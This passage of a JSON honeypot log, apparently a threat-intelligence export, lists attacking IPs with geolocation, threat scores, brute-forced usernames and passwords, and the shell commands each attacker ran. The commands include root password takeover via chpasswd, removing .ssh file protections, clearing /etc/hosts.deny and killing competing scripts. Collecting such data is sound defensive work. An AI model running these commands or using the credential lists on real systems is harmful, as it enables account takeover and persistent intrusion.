        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ARidLidhrZeb\"|chpasswd|bash",
        "echo \"root:OqDRke5USLyz\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Barbacena",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:58:06.333000+00:00",
        "last_seen_30d": "2026-03-03T14:27:22.213000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 35
      }
    },
    "45.169.128.70": {
      "attack_count": 191,
      "first_seen": "2026-03-04T15:42:12.727Z",
      "last_seen": "2026-03-04T16:13:27.100Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234qwert",
        "1qaz2wsx@@",
        "333333",
        "Abcd12345",
        "Bingo@1993",
        "Huawei@123",
        "Lx123456@",
        "google@123",
        "letmein@123",
        "ym123456",
        "zxczxc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:QM4TaBLfk4xw\"|chpasswd|bash",
        "echo \"root:fIXNIA4ASa8Z\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juiz de Fora",
      "asn": 268114,
      "as_org": "THM Tecnologia Net Ltda",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:42:12.727000+00:00",
        "last_seen_30d": "2026-03-04T16:14:33.035000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "114.207.246.197": {
      "attack_count": 188,
      "first_seen": "2026-03-20T19:50:24.470Z",
      "last_seen": "2026-03-20T20:14:52.597Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "iksi",
        "www",
        "host",
        "max",
        "myadmin",
        "oguz",
        "root",
        "sinusbot",
        "tmp",
        "unity"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Www123!",
        "oguz1234",
        "password",
        "tmppass",
        "unity123",
        "woaini123."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Www123!\\nSb6I9nUTcHWA\\nSb6I9nUTcHWA\\n\"|passwd",
        "echo \"password\\n7hEc0RzK211L\\n7hEc0RzK211L\\n\"|passwd",
        "echo -e \"Www123!\\nSb6I9nUTcHWA\\nSb6I9nUTcHWA\"|passwd|bash",
        "echo -e \"password\\n7hEc0RzK211L\\n7hEc0RzK211L\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:50:24.470000+00:00",
        "last_seen_30d": "2026-03-20T20:15:57.624000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "118.99.102.20": {
      "attack_count": 188,
      "first_seen": "2026-03-22T17:56:51.357Z",
      "last_seen": "2026-03-22T18:19:05.387Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abe",
        "won",
        "backupuser",
        "django",
        "mastodon",
        "vncuser",
        "zxy"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Love1314",
        "Qwertyuiop123",
        "Wj123456@",
        "mastodonpass",
        "password",
        "vncuser",
        "won",
        "zxypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"password\\nkr0nqPCqgZ5f\\nkr0nqPCqgZ5f\\n\"|passwd",
        "echo \"won\\nKr9IZ4eUFsos\\nKr9IZ4eUFsos\\n\"|passwd",
        "echo -e \"password\\nkr0nqPCqgZ5f\\nkr0nqPCqgZ5f\"|passwd|bash",
        "echo -e \"won\\nKr9IZ4eUFsos\\nKr9IZ4eUFsos\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T17:56:51.357000+00:00",
        "last_seen_30d": "2026-03-22T18:20:08.274000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "154.198.215.66": {
      "attack_count": 187,
      "first_seen": "2026-03-08T04:43:59.741Z",
      "last_seen": "2026-03-08T05:06:00.296Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "demon",
        "adrian",
        "adv",
        "lyt",
        "pwserver",
        "rachel",
        "thomas",
        "xx"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123qwe",
        "12345678",
        "1234qwer",
        "Rachel123!",
        "Thomas123!",
        "Xx123",
        "demon123!",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"demon123!\\n7uSyrHH1HtwS\\n7uSyrHH1HtwS\\n\"|passwd",
        "echo \"root:wm4yPBkgpGes\"|chpasswd|bash",
        "echo -e \"demon123!\\n7uSyrHH1HtwS\\n7uSyrHH1HtwS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:43:59.741000+00:00",
        "last_seen_30d": "2026-03-08T05:07:05.807000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "118.96.141.170": {
      "attack_count": 186,
      "first_seen": "2026-03-03T07:51:31.023Z",
      "last_seen": "2026-03-03T08:20:15.502Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A123123",
        "a1985nyuta_1",
        "a1d2m3i4n5",
        "a@q3@qpO$jjO$jgO7pz@",
        "aa271694",
        "cloud",
        "qaz123...",
        "qwe123$%^",
        "woaini1314.",
        "zxc,./123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Pzqn1rQJy437\"|chpasswd|bash",
        "echo \"root:w3Fvf7wk1xKL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Banjarnegara",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:51:31.023000+00:00",
        "last_seen_30d": "2026-03-03T08:21:22.380000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "103.103.245.7": {
      "attack_count": 183,
      "first_seen": "2026-03-04T15:54:48.131Z",
      "last_seen": "2026-03-04T18:01:12.173Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1234!@#$",
        "3245gs5662d34",
        "India@1234",
        "Welcome123!",
        "a123000",
        "a138318123",
        "a1a2a3a4a",
        "l",
        "nicolas",
        "softlayer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:AU6HfEndDiRU\"|chpasswd|bash",
        "echo \"root:IuIoMx6fzmF1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 14.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 17,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T08:57:26+00:00",
        "last_seen_30d": "2026-03-20T05:02:59.271000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 41,
        "Honeytrap": 2
      }
    },
    "106.251.244.178": {
      "attack_count": 166,
      "first_seen": "2026-03-02T11:19:35.866Z",
      "last_seen": "2026-03-02T11:50:05.305Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "Ft123456",
        "Hello123",
        "P@ssw0rd@2025",
        "P@ssw0rdP@ssw0rd",
        "Zz123456.",
        "asdQWE123",
        "qh123456",
        "qwerty123.",
        "zzzz1111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:aMLn3qePjuRx\"|chpasswd|bash",
        "echo \"root:kV2SWRlaQcPf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:19:35.866000+00:00",
        "last_seen_30d": "2026-03-02T11:51:05.660000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 25
      }
    },
    "173.249.41.171": {
      "attack_count": 144,
      "first_seen": "2026-03-17T07:39:19.448Z",
      "last_seen": "2026-03-17T08:06:26.387Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "spark",
        "345gs5662d34",
        "amir",
        "angelica",
        "applprod",
        "eoffice",
        "erpnext",
        "gpadmin",
        "odoo12",
        "rootadmin",
        "sales1",
        "super",
        "zjw"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Eoffice123",
        "admin123!@#",
        "admin1234!",
        "amir@123",
        "angelica@123456",
        "applprod@123456",
        "erpnext",
        "gpadminpassword",
        "root123root",
        "spark123",
        "super",
        "zjw@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"spark123\\nxqOzjCrSOZCK\\nxqOzjCrSOZCK\\n\"|passwd",
        "echo -e \"spark123\\nxqOzjCrSOZCK\\nxqOzjCrSOZCK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T17:10:11.224000+00:00",
        "last_seen_30d": "2026-03-17T08:07:29.656000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 41
      }
    },
    "58.233.189.185": {
      "attack_count": 144,
      "first_seen": "2026-03-19T10:20:31.405Z",
      "last_seen": "2026-03-19T10:51:57.186Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "boss",
        "345gs5662d34",
        "csgo",
        "firewall",
        "grader",
        "hdoop",
        "info",
        "jacky",
        "mm",
        "office",
        "qiyuesuo",
        "root",
        "strapi",
        "tecnopos",
        "vision",
        "yuan"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Office123",
        "Tx123456",
        "csgo123",
        "infoinfo",
        "jacky@123",
        "password",
        "qiyuesuo@123456",
        "strapi",
        "yuan123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nibQ6FxbTQJjM\\nibQ6FxbTQJjM\\n\"|passwd",
        "echo -e \"12345\\nibQ6FxbTQJjM\\nibQ6FxbTQJjM\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:20:31.405000+00:00",
        "last_seen_30d": "2026-03-19T10:53:05.018000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "51.195.138.37": {
      "attack_count": 129,
      "first_seen": "2026-03-06T20:35:58.500Z",
      "last_seen": "2026-03-06T20:57:10.465Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "mo",
        "345gs5662d34",
        "abdullah",
        "almacen",
        "bench",
        "deploy",
        "innova",
        "km",
        "melo",
        "ttx"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Almacen123!",
        "a",
        "bench123",
        "kmpass",
        "melopass",
        "mo123!",
        "password",
        "qwer123456",
        "ttx"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mo123!\\nuSbiOAibidAb\\nuSbiOAibidAb\\n\"|passwd",
        "echo -e \"mo123!\\nuSbiOAibidAb\\nuSbiOAibidAb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T20:35:58.500000+00:00",
        "last_seen_30d": "2026-03-06T20:58:16.771000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 33
      }
    },
    "103.150.65.62": {
      "attack_count": 124,
      "first_seen": "2026-03-11T04:42:20.763Z",
      "last_seen": "2026-03-11T05:08:11.474Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bot",
        "ceshi",
        "clawd",
        "old",
        "paolo",
        "sai",
        "stefan",
        "stream",
        "toan",
        "user02"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Toan123!",
        "bot1234",
        "ceshi123",
        "paolopass",
        "password",
        "sai123!",
        "user02123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"bot1234\\nYME6CQ6rtZed\\nYME6CQ6rtZed\\n\"|passwd",
        "echo -e \"bot1234\\nYME6CQ6rtZed\\nYME6CQ6rtZed\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 151391,
      "as_org": "Varendra IT",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:42:20.763000+00:00",
        "last_seen_30d": "2026-03-11T05:09:16.364000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "220.80.223.144": {
      "attack_count": 119,
      "first_seen": "2026-03-20T23:37:53.694Z",
      "last_seen": "2026-03-20T23:59:43.296Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "server",
        "345gs5662d34",
        "abe",
        "admin",
        "aroot",
        "downloader",
        "forge",
        "kingbase",
        "lorenzo",
        "tunnel"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa1234567890",
        "Aroot123",
        "Downloader123!",
        "Lorenzo123!",
        "abe123",
        "kingbasepass",
        "password",
        "server10",
        "tunnel"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
